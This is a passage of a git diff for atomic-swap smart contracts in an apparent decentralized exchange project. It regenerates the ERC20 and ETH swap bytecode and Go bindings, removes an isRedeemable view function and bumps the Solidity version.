0ae1565b600381111561044857610448610ae1565b90525092915050565b3233146104705760405162461bcd60e51b81526004016101d690610ca2565b6000805b82811015610615573684848381811061048f5761048f610d1d565b9050608002019050600080600083602001358152602001908152602001600020905060008260600135116104ed5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101d6565b813561052f5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101d6565b60006005820154600160a01b900460ff16600381111561055157610551610ae1565b146105905760405162461bcd60e51b815260206004820152600f60248201526e0c8eae040e6cac6e4cae840d0c2e6d608b1b60448201526064016101d6565b436002820155813560038201556004810180546001600160a01b031916331790556105c16060830160408401610d33565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b1790556105fe9085610d72565b93505050808061060d90610d8b565b915050610474565b5060408051336024820152306044820152606480820184905282518083039091018152608490910182526020810180516001600160e01b03166323b872dd60e01b17905290516000916060916001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169161069591610ccc565b6000604051808303816000865af19150503d80600081146106d2576040519150601f19603f3d011682016040523d82523d6000602084013e6106d7565b606091505b5090925090508180156107025750805115806107025750808060200190518101906107029190610cfb565b6107455760405162461bcd60e51b81526020600482015260146024820152731d1c985b9cd9995c88199c9bdb4819985a5b195960621b60448201526064016101d6565b5050505050565b600081815260208190526040812060016005820154600160a01b900460ff16600381111561077c5761077c610ae1565b148015610795575060048101546001600160a01b031633145b80156107a5575080600301544210155b9392505050565b3233146107cb5760405162461bcd60e51b81526004016101d690610ca2565b6000805b828110156109a357368484838181106107ea576107ea610d1d565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561082b5761082b610ae1565b146108645760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101d6565b60058101546001600160a01b031633146108b25760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101d6565b8160200135600283600001356040516020016108d091815260200190565b60408051601f19818403018152908290526108ea91610ccc565b602060405180830381855afa158015610907573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061092a9190610da4565b146109645760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101d6565b60058101805460ff60a01b1916600160a11b17905581358155600181015461098c9085610d72565b93505050808061099b90610d8b565b9150506107cf565b5060408051336024820152604480820184905282518083039091018152606490910182526020810180516001600160e01b031663a9059cbb60e01b17905290516000916060916001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691610a1d91610ccc565b6000604051808303816000865af19150503d8060008114610a5a576040519150601f19603f3d011682016040523d82523d6000602084013e610a5f565b606091505b509092509050818015610a8a575080511580610a8a575080806020019051810190610a8a9190610cfb565b6107455760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101d6565b600060208284031215610ada57600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b60048110610b1557634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610b7760c0840182610af7565b5092915050565b60008060208385031215610b9157600080fd5b823567ffffffffffffffff80821115610ba957600080fd5b818501915085601f830112610bbd57600080fd5b813581811115610bcc57600080fd5b8660208260071b8501011115610be157600080fd5b60209290920196919550909350505050565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610c3360c0830184610af7565b98975050505050505050565b60008060208385031215610c5257600080fd5b823567ffffffffffffffff80821115610c6a57600080fd5b818501915085601f830112610c7e57600080fd5b813581811115610c8d57600080fd5b8660208260061b8501011115610be157600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b6000825160005b81811015610ced5760208186018101518583015201610cd3565b506000920191825250919050565b600060208284031215610d0d57600080fd5b815180151581146107a557600080fd5b634e487b7160e01b600052603260045260246000fd5b600060208284031215610d4557600080fd5b81356001600160a01b03811681146107a557600080fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610d8557610d85610d5c565b92915050565b600060018201610d9d57610d9d610d5c565b5060010190565b600060208284031215610db657600080fd5b505191905056fea2646970667358221220a055a4890a5ecf3876dbee91dfbeb46ba11b5f7c09b6d935173932d93f8fb92264736f6c63430008120033" diff --git a/dex/networks/erc20/contracts/v0/contract.go b/dex/networks/erc20/contracts/v0/contract.go index e5287d1080..846bb9c714 100644 --- a/dex/networks/erc20/contracts/v0/contract.go +++ b/dex/networks/erc20/contracts/v0/contract.go @@ -31,8 +31,8 @@ var ( // ERC20SwapMetaData contains all meta data concerning the ERC20Swap contract. var ERC20SwapMetaData = &bind.MetaData{ - ABI: "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"internalType\":\"structERC20Swap.Initiation[]\",\"name\":\"initiations\",\"type\":\"tuple[]\"}],\"name\":\"initiate\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"}],\"name\":\"isRedeemable\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"isRefundable\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"internalType\":\"structERC20Swap.Redemption[]\",\"name\":\"redemptions\",\"type\":\"tuple[]\"}],\"name\":\"redeem\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"refund\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"swap\",\"outputs\":[{\"components\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"enumERC20Swap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"internalType\":\"structERC20Swap.Swap\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"swaps\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"enumERC20Swap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token_address\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]", - Bin: "0x60a060405234801561001057600080fd5b50604051610fa7380380610fa783398101604081905261002f91610040565b6001600160a01b0316608052610070565b60006020828403121561005257600080fd5b81516001600160a01b038116811461006957600080fd5b9392505050565b608051610f0861009f6000396000818160d0015281816102b9015281816106890152610adb0152610f086000f3fe608060405234801561001057600080fd5b50600436106100885760003560e01c8063bfd2fd971161005b578063bfd2fd971461011d578063d0f761c014610140578063eb84e7f214610153578063f4fd17f9146101c257600080fd5b80637249fbb61461008d57806376467cbd146100a25780638c8e8fee146100cb578063a8793f941461010a575b600080fd5b6100a061009b366004610bb0565b6101d5565b005b6100b56100b0366004610bb0565b610394565b6040516100c29190610c01565b60405180910390f35b6100f27f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100c2565b6100a0610118366004610c66565b61046f565b61013061012b366004610cdb565b61076a565b60405190151581526020016100c2565b61013061014e366004610bb0565b610834565b6101af610161366004610bb0565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100c29796959493929190610cfd565b6100a06101d0366004610d49565b610894565b3233146101fd5760405162461bcd60e51b81526004016101f490610dac565b60405180910390fd5b61020681610834565b6102435760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101f4565b60008181526020818152604080832060058101805460ff60a01b1916600360a01b17905560018101548251336024820152604480820192909252835180820390920182526064018352928301805163a9059cbb60e01b6001600160e01b0390911617905290519092916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916102e391610dd6565b6000604051808303816000865af19150503d8060008114610320576040519150601f19603f3d011682016040523d82523d6000602084013e610325565b606091505b5090925090508180156103505750805115806103505750808060200190518101906103509190610e11565b61038e5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101f4565b50505050565b6103d16040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff169081111561045557610455610bc9565b600381111561046657610466610bc9565b90525092915050565b32331461048e5760405162461bcd60e51b81526004016101f490610dac565b6000805b8281101561063357368484838181106104ad576104ad610e33565b90506080020190506000806000836020013581526020019081526020016000209050600082606001351161050b5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101f4565b813561054d5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101f4565b60006005820154600160a01b900460ff16600381111561056f5761056f610bc9565b146105ae5760405162461bcd60e51b815260206004820152600f60248201526e0c8eae040e6cac6e4cae840d0c2e6d608b1b60448201526064016101f4565b436002820155813560038201556004810180546001600160a01b031916331790556105df6060830160408401610e49565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b17905561061c9085610e88565b93505050808061062b90610ea0565b915050610492565b5060408051336024820152306044820152606480820184905282518083039091018152608490910182526020810180516001600160e01b03166323b872dd60e01b17905290516000916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916106b391610dd6565b6000604051808303816000865af19150503d80600081146106f0576040519150601f19603f3d011682016040523d82523d6000602084013e6106f5565b606091505b5090925090508180156107205750805115806107205750808060200190518101906107209190610e11565b6107635760405162461bcd60e51b81526020600482015260146024820152731d1c985b9cd9995c88199c9bdb4819985a5b195960621b60448201526064016101f4565b5050505050565b600082815260208190526040812060016005820154600160a01b900460ff16600381111561079a5761079a610bc9565b1480156107b3575060058101546001600160a01b031633145b801561082c5750836002846040516020016107d091815260200190565b60408051601f19818403018152908290526107ea91610dd6565b602060405180830381855afa158015610807573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061082a9190610eb9565b145b949350505050565b600081815260208190526040812060016005820154600160a01b900460ff16600381111561086457610864610bc9565b14801561087d575060048101546001600160a01b031633145b801561088d575080600301544210155b9392505050565b3233146108b35760405162461bcd60e51b81526004016101f490610dac565b6000805b82811015610a8b57368484838181106108d2576108d2610e33565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561091357610913610bc9565b1461094c5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101f4565b60058101546001600160a01b0316331461099a5760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101f4565b8160200135600283600001356040516020016109b891815260200190565b60408051601f19818403018152908290526109d291610dd6565b602060405180830381855afa1580156109ef573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610a129190610eb9565b14610a4c5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101f4565b60058101805460ff60a01b1916600160a11b179055813581556001810154610a749085610e88565b935050508080610a8390610ea0565b9150506108b7565b5060408051336024820152604480820184905282518083039091018152606490910182526020810180516001600160e01b031663a9059cbb60e01b17905290516000916060916001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691610b0591610dd6565b6000604051808303816000865af19150503d8060008114610b42576040519150601f19603f3d011682016040523d82523d6000602084013e610b47565b606091505b509092509050818015610b72575080511580610b72575080806020019051810190610b729190610e11565b6107635760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101f4565b600060208284031215610bc257600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b60048110610bfd57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610c5f60c0840182610bdf565b5092915050565b60008060208385031215610c7957600080fd5b823567ffffffffffffffff80821115610c9157600080fd5b818501915085601f830112610ca557600080fd5b813581811115610cb457600080fd5b8660208260071b8501011115610cc957600080fd5b60209290920196919550909350505050565b60008060408385031215610cee57600080fd5b50508035926020909101359150565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610d3d60c0830184610bdf565b98975050505050505050565b60008060208385031215610d5c57600080fd5b823567ffffffffffffffff80821115610d7457600080fd5b818501915085601f830112610d8857600080fd5b813581811115610d9757600080fd5b8660208260061b8501011115610cc957600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b6000825160005b81811015610df75760208186018101518583015201610ddd565b81811115610e06576000828501525b509190910192915050565b600060208284031215610e2357600080fd5b8151801515811461088d57600080fd5b634e487b7160e01b600052603260045260246000fd5b600060208284031215610e5b57600080fd5b81356001600160a01b038116811461088d57600080fd5b634e487b7160e01b600052601160045260246000fd5b60008219821115610e9b57610e9b610e72565b500190565b600060018201610eb257610eb2610e72565b5060010190565b600060208284031215610ecb57600080fd5b505191905056fea26469706673582212203e5af33d9672cc61834e91e1c391f408502e89feacb59762150c3e8ad4b8eb8764736f6c634300080f0033", + ABI: "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"components\":[{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"internalType\":\"structERC20Swap.Initiation[]\",\"name\":\"initiations\",\"type\":\"tuple[]\"}],\"name\":\"initiate\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"isRefundable\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"internalType\":\"structERC20Swap.Redemption[]\",\"name\":\"redemptions\",\"type\":\"tuple[]\"}],\"name\":\"redeem\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"refund\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"swap\",\"outputs\":[{\"components\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"enumERC20Swap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"internalType\":\"structERC20Swap.Swap\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"swaps\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"secret\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"initBlockNumber\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"refundBlockTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"initiator\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"},{\"internalType\":\"enumERC20Swap.State\",\"name\":\"state\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token_address\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]", + Bin: "0x60a060405234801561001057600080fd5b50604051610e92380380610e9283398101604081905261002f91610040565b6001600160a01b0316608052610070565b60006020828403121561005257600080fd5b81516001600160a01b038116811461006957600080fd5b9392505050565b608051610df361009f6000396000818160c50152818161029b0152818161066b01526109f30152610df36000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c8063a8793f941161005b578063a8793f94146100ff578063d0f761c014610112578063eb84e7f214610135578063f4fd17f9146101a457600080fd5b80637249fbb61461008257806376467cbd146100975780638c8e8fee146100c0575b600080fd5b610095610090366004610ac8565b6101b7565b005b6100aa6100a5366004610ac8565b610376565b6040516100b79190610b19565b60405180910390f35b6100e77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100b7565b61009561010d366004610b7e565b610451565b610125610120366004610ac8565b61074c565b60405190151581526020016100b7565b610191610143366004610ac8565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100b79796959493929190610bf3565b6100956101b2366004610c3f565b6107ac565b3233146101df5760405162461bcd60e51b81526004016101d690610ca2565b60405180910390fd5b6101e88161074c565b6102255760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101d6565b60008181526020818152604080832060058101805460ff60a01b1916600360a01b17905560018101548251336024820152604480820192909252835180820390920182526064018352928301805163a9059cbb60e01b6001600160e01b0390911617905290519092916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916102c591610ccc565b6000604051808303816000865af19150503d8060008114610302576040519150601f19603f3d011682016040523d82523d6000602084013e610307565b606091505b5090925090508180156103325750805115806103325750808060200190518101906103329190610cfb565b6103705760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101d6565b50505050565b6103b36040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff169081111561043757610437610ae1565b600381111561044857610448610ae1565b90525092915050565b3233146104705760405162461bcd60e51b81526004016101d690610ca2565b6000805b82811015610615573684848381811061048f5761048f610d1d565b9050608002019050600080600083602001358152602001908152602001600020905060008260600135116104ed5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101d6565b813561052f5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101d6565b60006005820154600160a01b900460ff16600381111561055157610551610ae1565b146105905760405162461bcd60e51b815260206004820152600f60248201526e0c8eae040e6cac6e4cae840d0c2e6d608b1b60448201526064016101d6565b436002820155813560038201556004810180546001600160a01b031916331790556105c16060830160408401610d33565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b1790556105fe9085610d72565b93505050808061060d90610d8b565b915050610474565b5060408051336024820152306044820152606480820184905282518083039091018152608490910182526020810180516001600160e01b03166323b872dd60e01b17905290516000916060916001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169161069591610ccc565b6000604051808303816000865af19150503d80600081146106d2576040519150601f19603f3d011682016040523d82523d6000602084013e6106d7565b606091505b5090925090508180156107025750805115806107025750808060200190518101906107029190610cfb565b6107455760405162461bcd60e51b81526020600482015260146024820152731d1c985b9cd9995c88199c9bdb4819985a5b195960621b60448201526064016101d6565b5050505050565b600081815260208190526040812060016005820154600160a01b900460ff16600381111561077c5761077c610ae1565b148015610795575060048101546001600160a01b031633145b80156107a5575080600301544210155b9392505050565b3233146107cb5760405162461bcd60e51b81526004016101d690610ca2565b6000805b828110156109a357368484838181106107ea576107ea610d1d565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561082b5761082b610ae1565b146108645760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101d6565b60058101546001600160a01b031633146108b25760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101d6565b8160200135600283600001356040516020016108d091815260200190565b60408051601f19818403018152908290526108ea91610ccc565b602060405180830381855afa158015610907573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061092a9190610da4565b146109645760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101d6565b60058101805460ff60a01b1916600160a11b17905581358155600181015461098c9085610d72565b93505050808061099b90610d8b565b9150506107cf565b5060408051336024820152604480820184905282518083039091018152606490910182526020810180516001600160e01b031663a9059cbb60e01b17905290516000916060916001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691610a1d91610ccc565b6000604051808303816000865af19150503d8060008114610a5a576040519150601f19603f3d011682016040523d82523d6000602084013e610a5f565b606091505b509092509050818015610a8a575080511580610a8a575080806020019051810190610a8a9190610cfb565b6107455760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101d6565b600060208284031215610ada57600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b60048110610b1557634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610b7760c0840182610af7565b5092915050565b60008060208385031215610b9157600080fd5b823567ffffffffffffffff80821115610ba957600080fd5b818501915085601f830112610bbd57600080fd5b813581811115610bcc57600080fd5b8660208260071b8501011115610be157600080fd5b60209290920196919550909350505050565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610c3360c0830184610af7565b98975050505050505050565b60008060208385031215610c5257600080fd5b823567ffffffffffffffff80821115610c6a57600080fd5b818501915085601f830112610c7e57600080fd5b813581811115610c8d57600080fd5b8660208260061b8501011115610be157600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b6000825160005b81811015610ced5760208186018101518583015201610cd3565b506000920191825250919050565b600060208284031215610d0d57600080fd5b815180151581146107a557600080fd5b634e487b7160e01b600052603260045260246000fd5b600060208284031215610d4557600080fd5b81356001600160a01b03811681146107a557600080fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610d8557610d85610d5c565b92915050565b600060018201610d9d57610d9d610d5c565b5060010190565b600060208284031215610db657600080fd5b505191905056fea2646970667358221220a055a4890a5ecf3876dbee91dfbeb46ba11b5f7c09b6d935173932d93f8fb92264736f6c63430008120033", } // ERC20SwapABI is the input ABI used to generate the binding from. @@ -202,37 +202,6 @@ func (_ERC20Swap *ERC20SwapTransactorRaw) Transact(opts *bind.TransactOpts, meth return _ERC20Swap.Contract.contract.Transact(opts, method, params...) } -// IsRedeemable is a free data retrieval call binding the contract method 0xbfd2fd97. -// -// Solidity: function isRedeemable(bytes32 secretHash, bytes32 secret) view returns(bool) -func (_ERC20Swap *ERC20SwapCaller) IsRedeemable(opts *bind.CallOpts, secretHash [32]byte, secret [32]byte) (bool, error) { - var out []interface{} - err := _ERC20Swap.contract.Call(opts, &out, "isRedeemable", secretHash, secret) - - if err != nil { - return *new(bool), err - } - - out0 := *abi.ConvertType(out[0], new(bool)).(*bool) - - return out0, err - -} - -// IsRedeemable is a free data retrieval call binding the contract method 0xbfd2fd97. -// -// Solidity: function isRedeemable(bytes32 secretHash, bytes32 secret) view returns(bool) -func (_ERC20Swap *ERC20SwapSession) IsRedeemable(secretHash [32]byte, secret [32]byte) (bool, error) { - return _ERC20Swap.Contract.IsRedeemable(&_ERC20Swap.CallOpts, secretHash, secret) -} - -// IsRedeemable is a free data retrieval call binding the contract method 0xbfd2fd97. -// -// Solidity: function isRedeemable(bytes32 secretHash, bytes32 secret) view returns(bool) -func (_ERC20Swap *ERC20SwapCallerSession) IsRedeemable(secretHash [32]byte, secret [32]byte) (bool, error) { - return _ERC20Swap.Contract.IsRedeemable(&_ERC20Swap.CallOpts, secretHash, secret) -} - // IsRefundable is a free data retrieval call binding the contract method 0xd0f761c0. // // Solidity: function isRefundable(bytes32 secretHash) view returns(bool) diff --git a/dex/networks/eth/contracts/ETHSwapV0.sol b/dex/networks/eth/contracts/ETHSwapV0.sol index 19af37c5fd..e65c188285 100644 --- a/dex/networks/eth/contracts/ETHSwapV0.sol +++ b/dex/networks/eth/contracts/ETHSwapV0.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: BlueOak-1.0.0 // pragma should be as specific as possible to allow easier validation. -pragma solidity = 0.8.15; +pragma solidity = 0.8.18; // ETHSwap creates a contract to be deployed on an ethereum network. After // deployed, it keeps a map of swaps that facilitates atomic swapping of @@ -121,18 +121,6 @@ contract ETHSwap { bytes32 secretHash; } - // isRedeemable returns whether or not a swap identified by secretHash - // can be redeemed using secret. - function isRedeemable(bytes32 secretHash, bytes32 secret) - public - view - returns (bool) - { - return swaps[secretHash].state == State.Filled && - swaps[secretHash].participant == msg.sender && - sha256(abi.encodePacked(secret)) == secretHash; - } - // redeem redeems a contract. It checks that the sender is not a contract, // and that the secret hash hashes to secretHash. msg.value is tranfered // from the contract to the sender. diff --git a/dex/networks/eth/contracts/v0/BinRuntimeV0.go b/dex/networks/eth/contracts/v0/BinRuntimeV0.go index d443835bbf..35f5a11c05 100644 --- a/dex/networks/eth/contracts/v0/BinRuntimeV0.go +++ b/dex/networks/eth/contracts/v0/BinRuntimeV0.go @@ -3,4 +3,4 @@ package v0 -const ETHSwapRuntimeBin = "6080604052600436106100705760003560e01c8063bfd2fd971161004e578063bfd2fd97146100e0578063d0f761c014610110578063eb84e7f214610130578063f4fd17f9146101ac57600080fd5b80637249fbb61461007557806376467cbd14610097578063a8793f94146100cd575b600080fd5b34801561008157600080fd5b50610095610090366004610980565b6101cc565b005b3480156100a357600080fd5b506100b76100b2366004610980565b610304565b6040516100c491906109d1565b60405180910390f35b6100956100db366004610a36565b6103df565b3480156100ec57600080fd5b506101006100fb366004610aab565b6105d6565b60405190151581526020016100c4565b34801561011c57600080fd5b5061010061012b366004610980565b6106ad565b34801561013c57600080fd5b5061019961014b366004610980565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100c49796959493929190610acd565b3480156101b857600080fd5b506100956101c7366004610b19565b6106f2565b3233146101f45760405162461bcd60e51b81526004016101eb90610b7c565b60405180910390fd5b6101fd816106ad565b61023a5760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101eb565b60008181526020819052604080822060058101805460ff60a01b1916600360a01b1790556004810154600182015492519193926001600160a01b03909116918381818185875af1925050503d80600081146102b1576040519150601f19603f3d011682016040523d82523d6000602084013e6102b6565b606091505b50909150506001811515146102ff5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101eb565b505050565b6103416040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160